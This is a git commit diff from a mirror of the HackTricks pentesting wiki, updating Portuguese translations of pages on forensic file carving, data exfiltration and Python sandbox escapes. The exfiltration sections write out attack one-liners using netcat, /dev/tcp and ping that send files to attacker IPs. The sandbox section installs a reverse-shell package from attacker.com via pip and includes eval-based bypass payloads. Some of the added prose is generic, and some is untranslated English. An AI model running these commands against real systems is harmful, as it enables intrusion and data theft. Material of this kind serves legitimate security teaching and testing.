mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
48fca1dad8
commit
1b8ecd4ed4
42 changed files with 619 additions and 685 deletions
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -28,11 +28,11 @@ Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://
|
||||||
|
|
||||||
### Autópsia
|
### Autópsia
|
||||||
|
|
||||||
A ferramenta mais comum usada em forense para extrair arquivos de imagens é a [**Autópsia**](https://www.autopsy.com/download/). Baixe, instale e faça-a ingerir o arquivo para encontrar arquivos "ocultos". Note que a Autópsia é construída para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
|
A ferramenta mais comum usada em forense para extrair arquivos de imagens é o [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ele ingira o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é construído para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
|
||||||
|
|
||||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
**Binwalk** é uma ferramenta para analisar arquivos binários em busca de conteúdo incorporado. É instalável via `apt` e seu código-fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk).
|
**Binwalk** é uma ferramenta para analisar arquivos binários e encontrar conteúdo incorporado. É instalável via `apt` e seu código fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
|
||||||
**Comandos úteis**:
|
**Comandos úteis**:
|
||||||
```bash
|
```bash
|
||||||
|
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||||
```
|
```
|
||||||
### Foremost
|
### Foremost
|
||||||
|
|
||||||
Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Se você não descomentar nada, o foremost procurará pelos tipos de arquivos configurados por padrão.
|
Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Caso contrário, o foremost pesquisará pelos tipos de arquivos configurados por padrão.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install foremost
|
sudo apt-get install foremost
|
||||||
foremost -v -i file.img -o output
|
foremost -v -i file.img -o output
|
||||||
|
@ -51,14 +51,14 @@ foremost -v -i file.img -o output
|
||||||
```
|
```
|
||||||
### **Scalpel**
|
### **Scalpel**
|
||||||
|
|
||||||
**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração (_/etc/scalpel/scalpel.conf_) os tipos de arquivos que deseja extrair.
|
**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração (_/etc/scalpel/scalpel.conf_) os tipos de arquivo que deseja extrair.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install scalpel
|
sudo apt-get install scalpel
|
||||||
scalpel file.img -o output
|
scalpel file.img -o output
|
||||||
```
|
```
|
||||||
### Bulk Extractor
|
### Bulk Extractor
|
||||||
|
|
||||||
Esta ferramenta está incluída no kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
Esta ferramenta vem incluída no kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||||
|
|
||||||
Esta ferramenta pode escanear uma imagem e irá **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
|
Esta ferramenta pode escanear uma imagem e irá **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
|
||||||
```
|
```
|
||||||
|
@ -68,7 +68,7 @@ bulk_extractor memory.img -o out_folder
|
||||||
|
|
||||||
Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||||
|
|
||||||
Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivos** que deseja que o PhotoRec pesquise.
|
Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivos** que deseja que o PhotoRec procure.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (524).png>)
|
![](<../../../.gitbook/assets/image (524).png>)
|
||||||
|
|
||||||
|
@ -93,7 +93,7 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe
|
||||||
|
|
||||||
### FindAES
|
### FindAES
|
||||||
|
|
||||||
Procura por chaves AES pesquisando por suas tabelas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
|
Procura por chaves AES pesquisando por suas agendas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
|
||||||
|
|
||||||
Baixe [aqui](https://sourceforge.net/projects/findaes/).
|
Baixe [aqui](https://sourceforge.net/projects/findaes/).
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para tra
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -112,10 +112,10 @@ Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para tra
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -62,7 +62,7 @@ Start-BitsTransfer -Source $url -Destination $output
|
||||||
#OR
|
#OR
|
||||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||||
```
|
```
|
||||||
### Enviar arquivos
|
### Upload de arquivos
|
||||||
|
|
||||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||||
|
@ -185,37 +185,33 @@ guest ok = Yes
|
||||||
#Start samba
|
#Start samba
|
||||||
service smbd restart
|
service smbd restart
|
||||||
```
|
```
|
||||||
# Exfiltração do Windows
|
# Exfiltração de Dados do Windows
|
||||||
|
|
||||||
## Introdução
|
## Introdução
|
||||||
|
|
||||||
A exfiltração de dados em ambientes Windows pode ser realizada de várias maneiras, aproveitando as funcionalidades e protocolos disponíveis no sistema operacional. Abaixo estão algumas técnicas comuns usadas para exfiltrar dados de sistemas Windows comprometidos.
|
Nesta seção, discutiremos várias técnicas comuns para exfiltrar dados de sistemas Windows comprometidos.
|
||||||
|
|
||||||
## Técnicas de Exfiltração
|
## Técnicas de Exfiltração
|
||||||
|
|
||||||
### Utilizando Protocolos de Rede
|
### Utilizando Protocolos de Rede
|
||||||
|
|
||||||
#### HTTP/S
|
Uma maneira comum de exfiltrar dados é através do uso de protocolos de rede, como HTTP, DNS ou até mesmo ICMP. Os dados podem ser codificados e enviados para um servidor controlado pelo atacante.
|
||||||
|
|
||||||
O tráfego HTTP/S é comum em ambientes corporativos e pode ser usado para exfiltrar dados sem chamar muita atenção. Os dados podem ser codificados em solicitações HTTP POST ou GET para um servidor controlado pelo atacante.
|
### Armazenamento em Nuvem
|
||||||
|
|
||||||
#### DNS
|
O armazenamento em nuvem também pode ser uma forma eficaz de exfiltrar dados. Os arquivos podem ser enviados para contas de armazenamento em nuvem, como Dropbox ou Google Drive, e posteriormente baixados pelo atacante.
|
||||||
|
|
||||||
O tráfego DNS é geralmente permitido em redes e pode ser explorado para exfiltrar dados. Os dados podem ser codificados em consultas DNS ou em subdomínios.
|
### Uso de Túneis Criptografados
|
||||||
|
|
||||||
### Utilizando Canais de Comunicação Legítimos
|
Túneis criptografados, como VPNs ou proxies, podem ser utilizados para enviar dados de forma segura para servidores remotos controlados pelo atacante.
|
||||||
|
|
||||||
#### Email
|
### Esteganografia
|
||||||
|
|
||||||
Os dados podem ser exfiltrados por email, anexando arquivos ou incorporando dados diretamente no corpo do email. Os atacantes também podem usar contas de email comprometidas para enviar dados.
|
A esteganografia é uma técnica que envolve ocultar dados dentro de arquivos de mídia, como imagens ou vídeos, para exfiltrá-los sem chamar a atenção.
|
||||||
|
|
||||||
#### Serviços de Armazenamento na Nuvem
|
|
||||||
|
|
||||||
Serviços de armazenamento na nuvem como Dropbox, Google Drive e OneDrive podem ser usados para exfiltrar dados. Os arquivos podem ser enviados para contas controladas pelo atacante.
|
|
||||||
|
|
||||||
## Conclusão
|
## Conclusão
|
||||||
|
|
||||||
A exfiltração de dados em ambientes Windows pode ser realizada de várias maneiras, e os atacantes geralmente exploram protocolos de rede e canais de comunicação legítimos para evitar detecção. É importante implementar medidas de segurança robustas para proteger os dados confidenciais contra exfiltração não autorizada.
|
Existem várias maneiras de exfiltrar dados de sistemas Windows comprometidos, e os atacantes geralmente utilizam uma combinação de técnicas para garantir o sucesso da operação. É crucial que os profissionais de segurança estejam cientes dessas técnicas para proteger adequadamente os sistemas contra tais ataques.
|
||||||
```bash
|
```bash
|
||||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||||
|
@ -225,7 +221,7 @@ WindPS-2> cd new_disk:
|
||||||
```
|
```
|
||||||
## SCP
|
## SCP
|
||||||
|
|
||||||
O atacante deve ter o SSHd em execução.
|
O atacante precisa ter o SSHd em execução.
|
||||||
```bash
|
```bash
|
||||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||||
```
|
```
|
||||||
|
@ -238,34 +234,6 @@ sudo mkdir /mnt/sshfs
|
||||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||||
```
|
```
|
||||||
## NC
|
## NC
|
||||||
|
|
||||||
### Exfiltração de Dados
|
|
||||||
|
|
||||||
#### Técnicas
|
|
||||||
|
|
||||||
- **FTP**: Use o protocolo FTP para transferir dados para um servidor controlado pelo atacante.
|
|
||||||
- **HTTP/S**: Envie dados para um servidor web controlado pelo atacante usando HTTP ou HTTPS.
|
|
||||||
- **DNS**: Use consultas DNS para enviar dados codificados para um servidor controlado pelo atacante.
|
|
||||||
- **SMTP**: Envie dados por e-mail para um servidor controlado pelo atacante.
|
|
||||||
- **SSH**: Use o protocolo SSH para transferir dados de forma segura para um servidor controlado pelo atacante.
|
|
||||||
- **Criptografia**: Criptografe os dados antes de exfiltrá-los para tornar a detecção mais difícil.
|
|
||||||
|
|
||||||
#### Ferramentas
|
|
||||||
|
|
||||||
- **Curl**: Uma ferramenta de linha de comando para transferir dados com URL.
|
|
||||||
- **Wget**: Uma ferramenta para baixar arquivos da web.
|
|
||||||
- **Netcat**: Uma ferramenta de rede que pode ser usada para transferir dados por meio de diferentes protocolos.
|
|
||||||
- **Ncat**: Uma versão atualizada e mais segura do Netcat.
|
|
||||||
- **Socat**: Uma ferramenta de rede avançada que suporta várias conexões.
|
|
||||||
- **Hping**: Uma ferramenta para enviar pacotes personalizados e analisar as respostas.
|
|
||||||
- **Dnscat2**: Uma ferramenta que pode ser usada para exfiltrar dados por meio de consultas DNS.
|
|
||||||
|
|
||||||
#### Recursos
|
|
||||||
|
|
||||||
- **Servidores Controlados pelo Atacante**: Configure servidores controlados pelo atacante para receber os dados exfiltrados.
|
|
||||||
- **Túneis Criptografados**: Use túneis criptografados para enviar dados de forma segura para o servidor controlado pelo atacante.
|
|
||||||
- **Codificação de Dados**: Codifique os dados antes da exfiltração para dificultar a detecção.
|
|
||||||
- **Canais Encobertos**: Use canais encobertos para enviar dados de forma mais discreta e evasiva.
|
|
||||||
```bash
|
```bash
|
||||||
nc -lvnp 4444 > new_file
|
nc -lvnp 4444 > new_file
|
||||||
nc -vn <IP> 4444 < exfil_file
|
nc -vn <IP> 4444 < exfil_file
|
||||||
|
@ -284,9 +252,14 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||||
exec 6< /dev/tcp/10.10.10.10/4444
|
exec 6< /dev/tcp/10.10.10.10/4444
|
||||||
cat <&6 > file.txt
|
cat <&6 > file.txt
|
||||||
```
|
```
|
||||||
Agradecimentos a **@BinaryShadow\_**
|
A seguir estão algumas técnicas comuns de exfiltração de dados usando o protocolo ICMP:
|
||||||
|
|
||||||
## **ICMP**
|
- **Ping Tunneling**: Os dados são enviados em pacotes ICMP Echo Request e as respostas ICMP Echo Reply são usadas para recuperar os dados.
|
||||||
|
- **Covert Channel**: Os dados são ocultados nos campos de cabeçalho ICMP para evitar detecção.
|
||||||
|
- **ICMP Tunneling**: Os dados são encapsulados em pacotes ICMP para exfiltração.
|
||||||
|
- **ICMP Time Exceeded Messages**: Os dados são ocultados nos campos de mensagens ICMP Time Exceeded para exfiltração.
|
||||||
|
|
||||||
|
Essas técnicas podem ser eficazes para exfiltrar dados de redes restritas, pois o tráfego ICMP é frequentemente permitido em muitos ambientes.
|
||||||
```bash
|
```bash
|
||||||
# To exfiltrate the content of a file via pings you can do:
|
# To exfiltrate the content of a file via pings you can do:
|
||||||
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
||||||
|
@ -337,6 +310,28 @@ Baixe um arquivo com um PHP oneliner:
|
||||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||||
```
|
```
|
||||||
## VBScript
|
## VBScript
|
||||||
|
|
||||||
|
### Overview
|
||||||
|
|
||||||
|
VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the `cscript.exe` or `wscript.exe` interpreters.
|
||||||
|
|
||||||
|
### Exfiltration Techniques
|
||||||
|
|
||||||
|
#### File Transfer
|
||||||
|
|
||||||
|
VBScript can be used to read data from files on the compromised system and transfer it to an external server using protocols such as HTTP or FTP.
|
||||||
|
|
||||||
|
#### Email
|
||||||
|
|
||||||
|
VBScript can also be used to send emails with exfiltrated data as attachments or within the email body.
|
||||||
|
|
||||||
|
#### DNS
|
||||||
|
|
||||||
|
VBScript can leverage DNS requests to exfiltrate data by encoding it within subdomains or query strings.
|
||||||
|
|
||||||
|
### Detection
|
||||||
|
|
||||||
|
Detection of VBScript exfiltration techniques can be challenging due to its legitimate use in Windows environments. Monitoring for suspicious network traffic, file access patterns, and email activity can help in detecting potential exfiltration attempts.
|
||||||
```bash
|
```bash
|
||||||
Attacker> python -m SimpleHTTPServer 80
|
Attacker> python -m SimpleHTTPServer 80
|
||||||
```
|
```
|
||||||
|
@ -390,7 +385,7 @@ Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe se
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -24,11 +24,11 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
O objetivo desta página é enumerar **plataformas que permitem pesquisar código** (literal ou regex) em milhares/milhões de repositórios em uma ou mais plataformas.
|
O objetivo desta página é enumerar **plataformas que permitem pesquisar código** (literal ou regex) em milhares/milhões de repositórios em uma ou mais plataformas.
|
||||||
|
|
||||||
Isso ajuda em várias ocasiões para **pesquisar informações vazadas** ou padrões de **vulnerabilidades**.
|
Isso ajuda em várias ocasiões a **procurar por informações vazadas** ou por padrões de **vulnerabilidades**.
|
||||||
|
|
||||||
* [**SourceGraph**](https://sourcegraph.com/search): Pesquise em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias grátis). Suporta regexes.
|
* [**SourceGraph**](https://sourcegraph.com/search): Pesquise em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias grátis). Suporta regexes.
|
||||||
* [**Github Search**](https://github.com/search): Pesquise no Github. Suporta regexes.
|
* [**Github Search**](https://github.com/search): Pesquise no Github. Suporta regexes.
|
||||||
* Talvez também seja útil verificar [**Github Code Search**](https://cs.github.com/).
|
* Talvez também seja útil verificar o [**Github Code Search**](https://cs.github.com/).
|
||||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pesquise em projetos do Gitlab. Suporta regexes.
|
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pesquise em projetos do Gitlab. Suporta regexes.
|
||||||
* [**SearchCode**](https://searchcode.com/): Pesquise código em milhões de projetos.
|
* [**SearchCode**](https://searchcode.com/): Pesquise código em milhões de projetos.
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@ Quando você procura por vazamentos em um repositório e executa algo como `git
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -16,17 +16,17 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
Esses são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários.
|
Estas são algumas dicas para contornar as proteções de sandbox do Python e executar comandos arbitrários.
|
||||||
|
|
||||||
## Bibliotecas de Execução de Comandos
|
## Bibliotecas de Execução de Comandos
|
||||||
|
|
||||||
A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se pode importar alguma dessas bibliotecas:
|
A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se pode importar alguma destas bibliotecas:
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
|
@ -99,12 +99,12 @@ Se você tiver acesso ao `pip` ou `pip.main()`, você pode instalar um pacote ar
|
||||||
pip install http://attacker.com/Rerverse.tar.gz
|
pip install http://attacker.com/Rerverse.tar.gz
|
||||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||||
```
|
```
|
||||||
Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py`, e colocar seu IP para o shell reverso**:
|
Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o shell reverso**:
|
||||||
|
|
||||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, então você **não deixará nenhum pacote Python extra instalado no servidor** ao sair.
|
Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, para que você **não deixe nenhum pacote Python extra instalado no servidor** ao sair.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Avaliando código Python
|
## Avaliando código Python
|
||||||
|
@ -159,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||||
```
|
```
|
||||||
## Bypassando proteções através de codificações (UTF-7)
|
## Bypassando proteções através de codificações (UTF-7)
|
||||||
|
|
||||||
No [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente:
|
Neste [**artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente:
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
|
@ -200,7 +200,7 @@ class _:pass
|
||||||
```
|
```
|
||||||
### RCE criando objetos e sobrecarregando
|
### RCE criando objetos e sobrecarregando
|
||||||
|
|
||||||
